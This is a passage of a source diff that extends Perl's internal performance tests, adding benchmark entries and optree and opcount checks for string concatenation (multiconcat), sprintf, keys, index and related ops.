+    'expr::concat::g_clclc' => {
+        setup   => 'our $pkg; my $lex1 = "abcd"; my $lex2 = "wxyz"',
+        code    => '$pkg = "foo=$lex1 bar=$lex2\n"',
+    },
+    'expr::concat::g_clclc_long' => {
+        desc    => '$pkg = "foooooooooo=$lex1 baaaaaaaaar=$lex2\n" where lex1/2 are 400 chars',
+        setup   => 'our $pkg; my $lex1 = "abcd" x 100; my $lex2 = "wxyz" x 100',
+        code    => '$pkg = "foooooooooo=$lex1 baaaaaaaaar=$lex2\n"',
+    },
+
+    'expr::concat::utf8_uuu' => {
+        desc    => 'my $s = $a.$b.$c where all args are utf8',
+        setup   => 'my $s; my $a = "ab\x{100}cde"; my $b = "\x{101}fghij"; my $c = "\x{102}klmn"',
+        code    => '$s = $a.$b.$c',
+    },
+    'expr::concat::utf8_suu' => {
+        desc    => 'my $s = "foo=$a bar=$b baz=$c" where $b,$c are utf8',
+        setup   => 'my $s; my $a = "abcde"; my $b = "\x{100}fghij"; my $c = "\x{101}klmn"',
+        code    => '$s = "foo=$a bar=$b baz=$c"',
+    },
+    'expr::concat::utf8_usu' => {
+        desc    => 'my $s = "foo=$a bar=$b baz=$c" where $a,$c are utf8',
+        setup   => 'my $s; my $a = "ab\x{100}cde"; my $b = "fghij"; my $c = "\x{101}klmn"',
+        code    => '$s = "foo=$a bar=$b baz=$c"',
+    },
+    'expr::concat::utf8_usx' => {
+        desc    => 'my $s = "foo=$a bar=$b baz=$c" where $a is utf8, $c has 0x80',
+        setup   => 'my $s; my $a = "ab\x{100}cde"; my $b = "fghij"; my $c = "\x80\x81klmn"',
+        code    => '$s = "foo=$a bar=$b baz=$c"',
+    },
+
+    'expr::concat::utf8_s_append_uuu' => {
+        desc    => '$s .= $a.$b.$c where all RH args are utf8',
+        setup   => 'my $s; my $a = "ab\x{100}cde"; my $b = "\x{101}fghij"; my $c = "\x{102}klmn"',
+        pre     => '$s = "abcd"',
+        code    => '$s .= $a.$b.$c',
+    },
+    'expr::concat::utf8_s_append_suu' => {
+        desc    => '$s .= "foo=$a bar=$b baz=$c" where $b,$c are utf8',
+        setup   => 'my $s; my $a = "abcde"; my $b = "\x{100}fghij"; my $c = "\x{101}klmn"',
+        pre     => '$s = "abcd"',
+        code    => '$s .= "foo=$a bar=$b baz=$c"',
+    },
+    'expr::concat::utf8_s_append_usu' => {
+        desc    => '$s .= "foo=$a bar=$b baz=$c" where $a,$c are utf8',
+        setup   => 'my $s; my $a = "ab\x{100}cde"; my $b = "fghij"; my $c = "\x{101}klmn"',
+        pre     => '$s = "abcd"',
+        code    => '$s .= "foo=$a bar=$b baz=$c"',
+    },
+    'expr::concat::utf8_s_append_usx' => {
+        desc    => '$s .= "foo=$a bar=$b baz=$c" where $a is utf8, $c has 0x80',
+        setup   => 'my $s; my $a = "ab\x{100}cde"; my $b = "fghij"; my $c = "\x80\x81klmn"',
+        pre     => '$s = "abcd"',
+        code    => '$s .= "foo=$a bar=$b baz=$c"',
+    },
+
+    'expr::concat::utf8_u_append_uuu' => {
+        desc    => '$s .= $a.$b.$c where all args are utf8',
+        setup   => 'my $s; my $a = "ab\x{100}cde"; my $b = "\x{101}fghij"; my $c = "\x{102}klmn"',
+        pre     => '$s = "\x{100}wxyz"',
+        code    => '$s .= $a.$b.$c',
+    },
+    'expr::concat::utf8_u_append_suu' => {
+        desc    => '$s .= "foo=$a bar=$b baz=$c" where $s,$b,$c are utf8',
+        setup   => 'my $s; my $a = "abcde"; my $b = "\x{100}fghij"; my $c = "\x{101}klmn"',
+        pre     => '$s = "\x{100}wxyz"',
+        code    => '$s .= "foo=$a bar=$b baz=$c"',
+    },
+    'expr::concat::utf8_u_append_usu' => {
+        desc    => '$s .= "foo=$a bar=$b baz=$c" where $s,$a,$c are utf8',
+        setup   => 'my $s; my $a = "ab\x{100}cde"; my $b = "fghij"; my $c = "\x{101}klmn"',
+        pre     => '$s = "\x{100}wxyz"',
+        code    => '$s .= "foo=$a bar=$b baz=$c"',
+    },
+    'expr::concat::utf8_u_append_usx' => {
+        desc    => '$s .= "foo=$a bar=$b baz=$c" where $s,$a are utf8, $c has 0x80',
+        setup   => 'my $s; my $a = "ab\x{100}cde"; my $b = "fghij"; my $c = "\x80\x81klmn"',
+        pre     => '$s = "\x{100}wxyz"',
+        code    => '$s .= "foo=$a bar=$b baz=$c"',
+    },
+
+    'expr::concat::nested_mutator' => {
+        setup   => 'my $lex1; my ($lex2, $lex3, $lex4) = qw(abcd pqrs wxyz)',
+        pre     => '$lex1 = "QPR"',
+        code    => '(($lex1 .= $lex2) .= $lex3) .= $lex4',
+    },
+
+
     # scalar assign, OP_SASSIGN
    
 
+    'expr::sassign::my_conststr' => {
+        setup   => '',
+        code    => 'my $x = "abc"',
+    },
     'expr::sassign::scalar_lex_int' => {
         desc    => 'lexical $x = 1',
         setup   => 'my $x',
@@ -997,7 +1379,50 @@
     },
 
 
+    'func::grep::bool0' => {
+        desc    => 'grep returning 0 items in boolean context',
+        setup   => 'my @a;',
+        code    => '!grep $_, @a;',
+    },
+    'func::grep::bool1' => {
+        desc    => 'grep returning 1 item in boolean context',
+        setup   => 'my @a =(1);',
+        code    => '!grep $_, @a;',
+    },
+    'func::grep::scalar0' => {
+        desc    => 'returning 0 items in scalar context',
+        setup   => 'my $g; my @a;',
+        code    => '$g = grep $_, @a;',
+    },
+    'func::grep::scalar1' => {
+        desc    => 'returning 1 item in scalar context',
+        setup   => 'my $g; my @a =(1);',
+        code    => '$g = grep $_, @a;',
+    },
 
+    # (index() == -1) and variants optimise away the op_const and op_eq
+    # and any assignment to a lexical var
+    'func::index::bool' => {
+        desc    => '(index() == -1) for match',
+        setup   => 'my $x = "aaaab"',
+        code    => 'index($x, "b") == -1',
+    },
+    'func::index::bool_fail' => {
+        desc    => '(index() == -1) for no match',
+        setup   => 'my $x = "aaaab"',
+        code    => 'index($x, "c") == -1',
+    },
+    'func::index::lex_bool' => {
+        desc    => '$lex = (index() == -1) for match',
+        setup   => 'my $r; my $x = "aaaab"',
+        code    => '$r = index($x, "b") == -1',
+    },
+    'func::index::lex_bool_fail' => {
+        desc    => '$lex = (index() == -1) for no match',
+        setup   => 'my $r; my $x = "aaaab"',
+        code    => '$r = index($x, "c") == -1',
+    },
+
     # using a const string as second arg to index triggers using FBM.
     # the FBM matcher special-cases 1,2-byte strings.
     #
@@ -1093,7 +1518,182 @@
     },
 
 
+    # JOIN
 
+
+    'func::join::empty_l_ll' => {
+        setup   => 'my $lex; my $lex1 = "abcd"; my $lex2 = "wxyz"',
+        code    => '$lex = join "", $lex1, $lex2',
+    },
+
+
+    # KEYS
+
+
+    'func::keys::lex::void_cxt_empty' => {
+        desc    => ' keys() on an empty lexical hash in void context',
+        setup   => 'my %h = ()',
+        code    => 'keys %h',
+    },
+    'func::keys::lex::void_cxt' => {
+        desc    => ' keys() on a non-empty lexical hash in void context',
+        setup   => 'my %h = qw(aardvark 1 banana 2 cucumber 3)',
+        code    => 'keys %h',
+    },
+    'func::keys::lex::bool_cxt_empty' => {
+        desc    => ' keys() on an empty lexical hash in bool context',
+        setup   => 'my %h = ()',
+        code    => '!keys %h',
+    },
+    'func::keys::lex::bool_cxt' => {
+        desc    => ' keys() on a non-empty lexical hash in bool context',
+        setup   => 'my %h = qw(aardvark 1 banana 2 cucumber 3)',
+        code    => '!keys %h',
+    },
+    'func::keys::lex::scalar_cxt_empty' => {
+        desc    => ' keys() on an empty lexical hash in scalar context',
+        setup   => 'my $k; my %h = ()',
+        code    => '$k = keys %h',
+    },
+    'func::keys::lex::scalar_cxt' => {
+        desc    => ' keys() on a non-empty lexical hash in scalar context',
+        setup   => 'my $k; my %h = qw(aardvark 1 banana 2 cucumber 3)',
+        code    => '$k = keys %h',
+    },
+    'func::keys::lex::list_cxt_empty' => {
+        desc    => ' keys() on an empty lexical hash in list context',
+        setup   => 'my %h = ()',
+        code    => '() = keys %h',
+    },
+    'func::keys::lex::list_cxt' => {
+        desc    => ' keys() on a non-empty lexical hash in list context',
+        setup   => 'my %h = qw(aardvark 1 banana 2 cucumber 3)',
+        code    => '() = keys %h',
+    },
+
+    'func::keys::pkg::void_cxt_empty' => {
+        desc    => ' keys() on an empty package hash in void context',
+        setup   => 'our %h = ()',
+        code    => 'keys %h',
+    },
+    'func::keys::pkg::void_cxt' => {
+        desc    => ' keys() on a non-empty package hash in void context',
+        setup   => 'our %h = qw(aardvark 1 banana 2 cucumber 3)',
+        code    => 'keys %h',
+    },
+    'func::keys::pkg::bool_cxt_empty' => {
+        desc    => ' keys() on an empty package hash in bool context',
+        setup   => 'our %h = ()',
+        code    => '!keys %h',
+    },
+    'func::keys::pkg::bool_cxt' => {
+        desc    => ' keys() on a non-empty package hash in bool context',
+        setup   => 'our %h = qw(aardvark 1 banana 2 cucumber 3)',
+        code    => '!keys %h',
+    },
+    'func::keys::pkg::scalar_cxt_empty' => {
+        desc    => ' keys() on an empty package hash in scalar context',
+        setup   => 'my $k; our %h = ()',
+        code    => '$k = keys %h',
+    },
+    'func::keys::pkg::scalar_cxt' => {
+        desc    => ' keys() on a non-empty package hash in scalar context',
+        setup   => 'my $k; our %h = qw(aardvark 1 banana 2 cucumber 3)',
+        code    => '$k = keys %h',
+    },
+    'func::keys::pkg::list_cxt_empty' => {
+        desc    => ' keys() on an empty package hash in list context',
+        setup   => 'our %h = ()',
+        code    => '() = keys %h',
+    },
+    'func::keys::pkg::list_cxt' => {
+        desc    => ' keys() on a non-empty package hash in list context',
+        setup   => 'our %h = qw(aardvark 1 banana 2 cucumber 3)',
+        code    => '() = keys %h',
+    },
+
+
+    'func::length::bool0' => {
+        desc    => 'length==0 in boolean context',
+        setup   => 'my $s = "";',
+        code    => '!length($s);',
+    },
+    'func::length::bool10' => {
+        desc    => 'length==10 in boolean context',
+        setup   => 'my $s = "abcdefghijk";',
+        code    => '!length($s);',
+    },
+    'func::length::scalar10' => {
+        desc    => 'length==10 in scalar context',
+        setup   => 'my $p; my $s = "abcdefghijk";',
+        code    => '$p = length($s);',
+    },
+    'func::length::bool0_utf8' => {
+        desc    => 'utf8 string length==0 in boolean context',
+        setup   => 'my $s = "\x{100}"; chop $s;',
+        code    => '!length($s);',
+    },
+    'func::length::bool10_utf8' => {
+        desc    => 'utf8 string length==10 in boolean context',
+        setup   => 'my $s = "abcdefghij\x{100}";',
+        code    => '!length($s);',
+    },
+    'func::length::scalar10_utf8' => {
+        desc    => 'utf8 string length==10 in scalar context',
+        setup   => 'my $p; my $s = "abcdefghij\x{100}";',
+        code    => '$p = length($s);',
+    },
+
+    'func::pos::bool0' => {
+        desc    => 'pos==0 in boolean context',
+        setup   => 'my $s = "abc"; pos($s) = 0',
+        code    => '!pos($s);',
+    },
+    'func::pos::bool10' => {
+        desc    => 'pos==10 in boolean context',
+        setup   => 'my $s = "abcdefghijk"; pos($s) = 10',
+        code    => '!pos($s);',
+    },
+    'func::pos::scalar10' => {
+        desc    => 'pos==10 in scalar context',
+        setup   => 'my $p; my $s = "abcdefghijk"; pos($s) = 10',
+        code    => '$p = pos($s);',
+    },
+
+    'func::ref::notaref_bool' => {
+        desc    => 'ref($notaref) in boolean context',
+        setup   => 'my $r = "boo"',
+        code    => '!ref $r',
+    },
+    'func::ref::ref_bool' => {
+        desc    => 'ref($ref) in boolean context',
+        setup   => 'my $r = []',
+        code    => '!ref $r',
+    },
+    'func::ref::blessedref_bool' => {
+        desc    => 'ref($blessed_ref) in boolean context',
+        setup   => 'my $r = bless []',
+        code    => '!ref $r',
+    },
+
+    'func::ref::notaref' => {
+        desc    => 'ref($notaref) in scalar context',
+        setup   => 'my $x; my $r = "boo"',
+        code    => '$x = ref $r',
+    },
+    'func::ref::ref' => {
+        desc    => 'ref($ref) in scalar context',
+        setup   => 'my $x; my $r = []',
+        code    => '$x = ref $r',
+    },
+    'func::ref::blessedref' => {
+        desc    => 'ref($blessed_ref) in scalar context',
+        setup   => 'my $x; my $r = bless []',
+        code    => '$x = ref $r',
+    },
+
+
+
     'func::sort::num' => {
         desc    => 'plain numeric sort',
         setup   => 'my (@a, @b); @a = reverse 1..10;',
@@ -1184,7 +1784,197 @@
         code    => '@a = (split(/:/, $s, 2), 1);',
     },
 
+    # SPRINTF
 
+
+    'func::sprintf::d' => {
+        desc    => '%d',
+        setup   => 'my $s; my $a1 = 1234;',
+        code    => '$s = sprintf "%d", $a1',
+    },
+    'func::sprintf::d8' => {
+        desc    => '%8d',
+        setup   => 'my $s; my $a1 = 1234;',
+        code    => '$s = sprintf "%8d", $a1',
+    },
+    'func::sprintf::foo_d8' => {
+        desc    => 'foo=%8d',
+        setup   => 'my $s; my $a1 = 1234;',
+        code    => '$s = sprintf "foo=%8d", $a1',
+    },
+
+    'func::sprintf::f0' => {
+        # "%.0f" is very special-cased
+        desc    => 'sprintf "%.0f"',
+        setup   => 'my $s; my $a1 = 123.456;',
+        code    => '$s = sprintf "%.0f", $a1',
+    },
+    'func::sprintf::foo_f0' => {
+        # "...%.0f..." is special-cased
+        desc    => 'sprintf "foo=%.0f"',
+        setup   => 'my $s; my $a1 = 123.456;',
+        code    => '$s = sprintf "foo=%.0f\n", $a1',
+    },
+    'func::sprintf::foo_f93' => {
+        desc    => 'foo=%9.3f',
+        setup   => 'my $s; my $a1 = 123.456;',
+        code    => '$s = sprintf "foo=%9.3f\n", $a1',
+    },
+
+    'func::sprintf::g9' => {
+        # "...%.NNNg..." is special-cased
+        desc    => '%.9g',
+        setup   => 'my $s; my $a1 = 123.456;',
+        code    => '$s = sprintf "%.9g", $a1',
+    },
+    'func::sprintf::foo_g9' => {
+        # "...%.NNNg..." is special-cased
+        desc    => 'foo=%.9g',
+        setup   => 'my $s; my $a1 = 123.456;',
+        code    => '$s = sprintf "foo=%.9g\n", $a1',
+    },
+    'func::sprintf::foo_g93' => {
+        desc    => 'foo=%9.3g',
+        setup   => 'my $s; my $a1 = 123.456;',
+        code    => '$s = sprintf "foo=%9.3g\n", $a1',
+    },
+
+    'func::sprintf::s' => {
+        desc    => '%s',
+        setup   => 'my $s; my $a1 = "abcd";',
+        code    => '$s = sprintf "%s", $a1',
+    },
+    'func::sprintf::foo_s' => {
+        desc    => 'foo=%s',
+        setup   => 'my $s; my $a1 = "abcd";',
+        code    => '$s = sprintf "foo=%s", $a1',
+    },
+    'func::sprintf::mixed_utf8_sss' => {
+        desc    => 'foo=%s bar=%s baz=%s',
+        setup   => 'my $s;my $a = "ab\x{100}cd"; my $b = "efg"; my $c = "h\x{101}ij"',
+        code    => '$s = sprintf "foo=%s bar=%s baz=%s", $a, $b, $c',
+    },
+
+    # sprint that's likely to be optimised to an OP_MULTICONCAT
+
+    'func::sprintf::l' => {
+        setup   => 'my $lex1 = "abcd"',
+        code    => 'sprintf "%s", $lex1',
+    },
+    'func::sprintf::g_l' => {
+        setup   => 'our $pkg; my $lex1 = "abcd"',
+        code    => '$pkg = sprintf "%s", $lex1',
+    },
+    'func::sprintf::g_append_l' => {
+        setup   => 'our $pkg; my $lex1 = "abcd"',
+        pre     => '$pkg = "pqrs"',
+        code    => '$pkg .= sprintf "%s", $lex1',
+    },
+    'func::sprintf::g_ll' => {
+        setup   => 'our $pkg; my $lex1 = "abcd"; my $lex2 = "wxyz"',
+        code    => '$pkg = sprintf "%s%s", $lex1, $lex2',
+    },
+    'func::sprintf::g_append_ll' => {
+        setup   => 'our $pkg; my $lex1 = "abcd"; my $lex2 = "wxyz"',
+        pre     => '$pkg = "pqrs"',
+        code    => '$pkg .= sprintf "%s%s", $lex1, $lex2',
+    },
+    'func::sprintf::g_cl' => {
+        setup   => 'our $pkg; my $lex1 = "abcd"',
+        code    => '$pkg = sprintf "foo=%s", $lex1',
+    },
+    'func::sprintf::g_clclc' => {
+        setup   => 'our $pkg; my $lex1 = "abcd"; my $lex2 = "wxyz"',
+        code    => '$pkg = sprintf "foo=%s bar=%s\n", $lex1, $lex2',
+    },
+
+    'func::sprintf::l_l' => {
+        setup   => 'my $lex; my $lex1 = "abcd"',
+        code    => '$lex = sprintf "%s", $lex1',
+    },
+    'func::sprintf::l_append_l' => {
+        setup   => 'my $lex; my $lex1 = "abcd"',
+        pre     => '$lex = "pqrs"',
+        code    => '$lex .= sprintf "%s", $lex1',
+    },
+    'func::sprintf::ll' => {
+        setup   => 'my $lex1 = "abcd"; my $lex2 = "wxyz"',
+        code    => 'sprintf "%s%s", $lex1, $lex2',
+    },
+    'func::sprintf::l_ll' => {
+        setup   => 'my $lex; my $lex1 = "abcd"; my $lex2 = "wxyz"',
+        code    => '$lex = sprintf "%s%s", $lex1, $lex2',
+    },
+    'func::sprintf::l_append_ll' => {
+        setup   => 'my $lex; my $lex1 = "abcd"; my $lex2 = "wxyz"',
+        pre     => '$lex = "pqrs"',
+        code    => '$lex .= sprintf "%s%s", $lex1, $lex2',
+    },
+    'func::sprintf::l_cl' => {
+        setup   => 'my $lex; my $lex1 = "abcd"',
+        code    => '$lex = sprintf "foo=%s", $lex1',
+    },
+    'func::sprintf::l_clclc' => {
+        setup   => 'my $lex; my $lex1 = "abcd"; my $lex2 = "wxyz"',
+        code    => '$lex = sprintf "foo=%s bar=%s\n", $lex1, $lex2',
+    },
+
+    'func::sprintf::m_l' => {
+        setup   => 'my $lex1 = "abcd"',
+        code    => 'my $lex = sprintf "%s", $lex1',
+    },
+    'func::sprintf::m_ll' => {
+        setup   => 'my $lex1 = "abcd"; my $lex2 = "wxyz"',
+        code    => 'my $lex = sprintf "%s%s", $lex1, $lex2',
+    },
+    'func::sprintf::m_cl' => {
+        setup   => 'my $lex1 = "abcd"',
+        code    => 'my $lex = sprintf "foo=%s", $lex1',
+    },
+    'func::sprintf::m_clclc' => {
+        setup   => 'my $lex1 = "abcd"; my $lex2 = "wxyz"',
+        code    => 'my $lex = sprintf "foo=%s bar=%s\n", $lex1, $lex2',
+    },
+
+    'func::sprintf::utf8__l_lll' => {
+        desc    => '$s = sprintf("foo=%s bar=%s baz=%s", $a, $b, $c) where $a,$c are utf8',
+        setup   => 'my $s; my $a = "ab\x{100}cde"; my $b = "fghij"; my $c = "\x{101}klmn"',
+        code    => '$s = sprintf "foo=%s bar=%s baz=%s", $a, $b, $c',
+    },
+
+
+    # S///
+
+    'func::subst::bool' => {
+        desc    => 's/// in boolean context',
+        setup   => '',
+        code    => '$_ = "aaa"; !s/./x/g;'
+    },
+
+
+    'func::values::scalar_cxt_empty' => {
+        desc    => ' values() on an empty hash in scalar context',
+        setup   => 'my $k; my %h = ()',
+        code    => '$k = values %h',
+    },
+    'func::values::scalar_cxt' => {
+        desc    => ' values() on a non-empty hash in scalar context',
+        setup   => 'my $k; my %h = qw(aardvark 1 banana 2 cucumber 3)',
+        code    => '$k = values %h',
+    },
+    'func::values::list_cxt_empty' => {
+        desc    => ' values() on an empty hash in list context',
+        setup   => 'my %h = ()',
+        code    => '() = values %h',
+    },
+    'func::values::list_cxt' => {
+        desc    => ' values() on a non-empty hash in list context',
+        setup   => 'my %h = qw(aardvark 1 banana 2 cucumber 3)',
+        code    => '() = values %h',
+    },
+
+
+
     'loop::block' => {
         desc    => 'empty basic loop',
         setup   => '',
@@ -1363,7 +2153,6 @@
 
 
     'regex::anyof_plus::anchored' => {
-        desc    => '/^[acgt]+/',
         setup   => '$_ = "a" x 100;',
         code    => '/^[acgt]+/',
     },

Modified: vendor/perl/dist/t/perf/benchmarks.t
===================================================================
--- vendor/perl/dist/t/perf/benchmarks.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/perf/benchmarks.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -31,15 +31,24 @@
     $benchmarks{$key} = $hash;
 }
 
-plan keys(%benchmarks) * 3;
+plan keys(%benchmarks) * 4;
 
-
 # check the hash of hashes is minimally consistent in format
 
+my %valid_keys = map { $_=> 1 } qw(desc setup code pre post compile);
+my @required_keys = qw(code);
+
 for my $token (sort keys %benchmarks) {
-    like($token, qr/^[a-zA-Z](\w|::)+$/a, "legal token: $token");
-    my $keys = join('-', sort keys %{$benchmarks{$token}});
-    is($keys, 'code-desc-setup', "legal keys:  $token");
+    like($token, qr/^[a-zA-Z](\w|::)+$/a, "$token: legal token");
+
+    my @keys    = sort keys %{$benchmarks{$token}};
+    my @invalid = grep !exists $valid_keys{$_}, @keys;
+    ok(!@invalid, "$token: only valid keys present")
+        or diag("saw these invalid keys: (@invalid)");
+
+    my @missing = grep !exists $benchmarks{$token}{$_}, @required_keys;
+    ok(!@missing, "$token: all required keys present")
+        or diag("these keys are missing: (@missing)");
 }
 
 # check that each bit of code compiles and runs
@@ -46,7 +55,10 @@
 
 for my $token (sort keys %benchmarks) {
     my $b = $benchmarks{$token};
-    my $code = "package $token; $b->{setup}; for (1..1) { $b->{code} } 1;";
+    my $setup = $b->{setup} // '';
+    my $pre   = $b->{pre}   // '';
+    my $post  = $b->{post}  // '';
+    my $code = "package $token; $setup; for (1..1) { $pre; $b->{code}; $post; } 1;";
     no warnings;
     no strict;
     ok(eval $code, "running $token")

Modified: vendor/perl/dist/t/perf/opcount.t
===================================================================
--- vendor/perl/dist/t/perf/opcount.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/perf/opcount.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -20,7 +20,7 @@
 use warnings;
 use strict;
 
-plan 2261;
+plan 2582;
 
 use B ();
 
@@ -350,3 +350,316 @@
                 });
     }
 }
+
+# index(...) == -1 and variants optimise away the EQ/NE/etc and CONST
+# and with $lex = (index(...) == -1), the assignment is optimised away
+# too
+
+{
+    local our @pkg;
+    my @lex;
+
+    my ($x, $y, $z);
+    for my $assign (0, 1) {
+        for my $index ('index($x,$y)', 'rindex($x,$y)') {
+            for my $fmt (
+                    "%s <= -1",
+                    "%s == -1",
+                    "%s != -1",
+                    "%s >  -1",
+
+                    "%s <  0",
+                    "%s >= 0",
+
+                    "-1 <  %s",
+                    "-1 == %s",
+                    "-1 != %s",
+                    "-1 >= %s",
+
+                    " 0 <= %s",
+                    " 0 >  %s",
+
+            ) {
+                my $expr = sprintf $fmt, $index;
+                $expr = "\$z = ($expr)" if $assign;
+
+                test_opcount(0, "optimise away compare,const in $expr",
+                        eval qq{sub { $expr }},
+                        {
+                            lt      => 0,
+                            le      => 0,
+                            eq      => 0,
+                            ne      => 0,
+                            ge      => 0,
+                            gt      => 0,
+                            const   => 0,
+                            sassign => 0,
+                            padsv   => 2.
+                        });
+            }
+        }
+    }
+}
+
+
+# a sprintf that can't be optimised shouldn't stop the .= concat being
+# optimised
+
+{
+    my ($i,$j,$s);
+    test_opcount(0, "sprintf pessimised",
+        sub { $s .= sprintf "%d%d",$i, $j },
+        {
+            const       => 1,
+            sprintf     => 1,
+            concat      => 0,
+            multiconcat => 1,
+            padsv       => 2,
+        });
+}
+
+
+# sprintf with constant args should be constant folded
+
+test_opcount(0, "sprintf constant args",
+        sub { sprintf "%s%s", "abc", "def" },
+        {
+            const       => 1,
+            sprintf     => 0,
+            multiconcat => 0.
+        });
+
+#
+# concats and assigns that should be optimised into a single multiconcat
+# op
+
+{
+
+    my %seen; # weed out duplicate combinations
+
+    # these are the ones where using multiconcat isn't a gain, so should
+    # be pessimised
+    my %pessimise = map { $_ => 1 }
+                        '$a1.$a2',
+                        '"$a1$a2"',
+                        '$pkg .= $a1',
+                        '$pkg .= "$a1"',
+                        '$lex  = $a1.$a2',
+                        '$lex  = "$a1$a2"',
+                        # these already constant folded
+                        'sprintf("-")',
+                        '$pkg  = sprintf("-")',
+                        '$lex  = sprintf("-")',
+                        'my $l = sprintf("-")',
+                    ;
+
+    for my $lhs (
+        '',
+        '$pkg  = ',
+        '$pkg .= ',
+        '$lex  = ',
+        '$lex .= ',
+        'my $l = ',
+    ) {
+        for my $nargs (0..3) {
+            for my $type (0..2) {
+                # 0: $a . $b
+                # 1: "$a$b"
+                # 2: sprintf("%s%s", $a, $b)
+
+                for my $const (0..4) {
+                    # 0: no consts:       "$a1$a2"
+                    # 1: interior consts: "$a1-$a2"
+                    # 2: + LH   edge:    "-$a1-$a2"
+                    # 3: + RH   edge:     "$a1-$a2-"
+                    # 4: + both edge:    "-$a1-$a2-"
+
+                    my @args;
+                    my @sprintf_args;
+                    my $c = $type == 0 ? '"-"' : '-';
+                    push @args, $c if $const == 2 || $const == 4;
+                    for my $n (1..$nargs) {
+                        if ($type == 2) {
+                            # sprintf
+                            push @sprintf_args, "\$a$n";
+                            push @args, '%s';
+                        }
+                        else {
+                            push @args, "\$a$n";
+                        }
+                        push @args, $c if $const;
+                    }
+                    pop @args if  $const == 1 || $const == 2;
+
+                    push @args, $c if $nargs == 0 && $const == 1;
+
+
+                    if ($type == 2) {
+                        # sprintf
+                        next unless @args;
+                    }
+                    else {
+                        # To ensure that there's at least once concat
+                        # action, if appending, need at least one RHS arg;
+                        # else least 2 args:
+                        #    $x = $a . $b
+                        #    $x .= $a
+                        next unless @args >= ($lhs =~ /\./ ? 1 : 2);
+                    }
+
+                    my $rhs;
+                    if ($type == 0) {
+                        $rhs = join('.', @args);
+                    }
+                    elsif ($type == 1) {
+                        $rhs = '"' . join('',  @args) . '"'
+                    }
+                    else {
+                        $rhs = 'sprintf("'
+                               . join('',  @args)
+                               . '"'
+                               . join('', map ",$_",  @sprintf_args)
+                               . ')';
+                    }
+
+                    my $expr = $lhs . $rhs;
+
+                    next if exists $seen{$expr};
+                    $seen{$expr} = 1;
+
+                    my ($a1, $a2, $a3);
+                    my $lex;
+                    our $pkg;
+                    my $sub = eval qq{sub { $expr }};
+                    die "eval(sub { $expr }: $@" if $@;
+
+                    my $pm = $pessimise{$expr};
+                    test_opcount(0, ($pm ? "concat     " : "multiconcat")
+                                            . ": $expr",
+                            $sub,
+                            $pm
+                            ?   {   multiconcat => 0 }
+                            :   {
+                                    multiconcat => 1,
+                                    padsv       => $nargs,
+                                    concat      => 0,
+                                    sprintf     => 0,
+                                    const       => 0,
+                                    sassign     => 0,
+                                    stringify   => 0,
+                                    gv          => 0, # optimised to gvsv
+                                });
+                }
+            }
+        }
+    }
+}
+
+# $lex = "foo" should *not* get converted into a multiconcat - there's
+# no actual concatenation involved, and treating it as a degnerate concat
+# would forego any COW copy efficiency
+
+test_opcount(0, '$lex = "foo"', sub { my $x; $x = "foo"; },
+        {
+            multiconcat => 0,
+        });
+
+# for '$lex1 = $lex2 . $lex3', multiconcat is normally slower than
+# concat, except in the specific case of '$lex1 = $lex2 . $lex1'
+
+test_opcount(0, '$lex1 = $lex2 . $lex1', sub { my ($x,$y); $x = $y . $x },
+            {
+                multiconcat => 1,
+                padsv       => 4, # 2 are from the my()
+                concat      => 0,
+                sassign     => 0,
+                stringify   => 0,
+            });
+test_opcount(0, '$lex1 = "$lex2$lex1"', sub { my ($x,$y); $x = "$y$x" },
+            {
+                multiconcat => 1,
+                padsv       => 4, # 2 are from the my()
+                concat      => 0,
+                sassign     => 0,
+                stringify   => 0,
+            });
+test_opcount(0, '$lex1 = $lex1 . $lex1', sub { my $x; $x = $x . $x },
+            {
+                multiconcat => 0,
+            });
+
+# 'my $x .= ...' doesn't make a lot of sense and so isn't optimised
+test_opcount(0, 'my $a .= $b.$c.$d', sub { our ($b,$c,$d); my $a .= $b.$c.$d },
+            {
+                padsv => 1,
+            });
+
+# prefer rcatline optimisation over multiconcat
+
+test_opcount(0, "rcatline", sub { my ($x,$y); open FOO, "xxx"; $x .= <FOO> },
+        {
+            rcatline    => 1,
+            readline    => 0,
+            multiconcat => 0,
+            concat      => 0,
+        });
+
+# long chains of concats should be converted into chained multiconcats
+
+{
+    my @a;
+    for my $i (60..68) { # check each side of 64 threshold
+        my $c = join '.', map "\$a[$_]", 1..$i;
+        my $sub = eval qq{sub { $c }} or die $@;
+        test_opcount(0, "long chain $i", $sub,
+            {
+                multiconcat => $i > 65 ? 2 : 1,
+                concat      => $i == 65 ? 1 : 0,
+                aelem       => 0,
+                aelemfast   => 0,
+            });
+    }
+}
+
+# with C<$state $s = $a . $b . ....>, the assign is optimised away,
+# but the padsv isn't (it's treated like a general LHS expression rather
+# than using OPpTARGET_MY).
+
+test_opcount(0, "state works with multiconcat",
+                sub { use feature 'state'; our ($a, $b, $c); state $s = $a . $b . $c },
+                {
+                    multiconcat => 1,
+                    concat      => 0,
+                    sassign     => 0,
+                    once        => 1,
+                    padsv       => 2, # one each for the next/once branches
+                });
+
+# multiple concats of constants preceded by at least one non-constant
+# shouldn't get constant-folded so that a concat overload method is called
+# for each arg. So every second constant string is left as an OP_CONST
+
+test_opcount(0, "multiconcat: 2 adjacent consts",
+                sub { my ($a, $b); $a = $b . "c" . "d" },
+                {
+                    const       => 1,
+                    multiconcat => 1,
+                    concat      => 0,
+                    sassign     => 0,
+                });
+test_opcount(0, "multiconcat: 3 adjacent consts",
+                sub { my ($a, $b); $a = $b . "c" . "d" . "e" },
+                {
+                    const       => 1,
+                    multiconcat => 1,
+                    concat      => 0,
+                    sassign     => 0,
+                });
+test_opcount(0, "multiconcat: 4 adjacent consts",
+                sub { my ($a, $b); $a = $b . "c" . "d" . "e" ."f" },
+                {
+                    const       => 2,
+                    multiconcat => 1,
+                    concat      => 0,
+                    sassign     => 0,
+                });

Modified: vendor/perl/dist/t/perf/optree.t
===================================================================
--- vendor/perl/dist/t/perf/optree.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/perf/optree.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -13,7 +13,7 @@
     @INC = '../lib';
 }
 
-plan 695;
+plan 2285;
 
 use v5.10; # state
 use B qw(svref_2object
@@ -22,9 +22,27 @@
          OPpASSIGN_COMMON_AGG
          OPpTRUEBOOL
          OPpMAYBE_TRUEBOOL
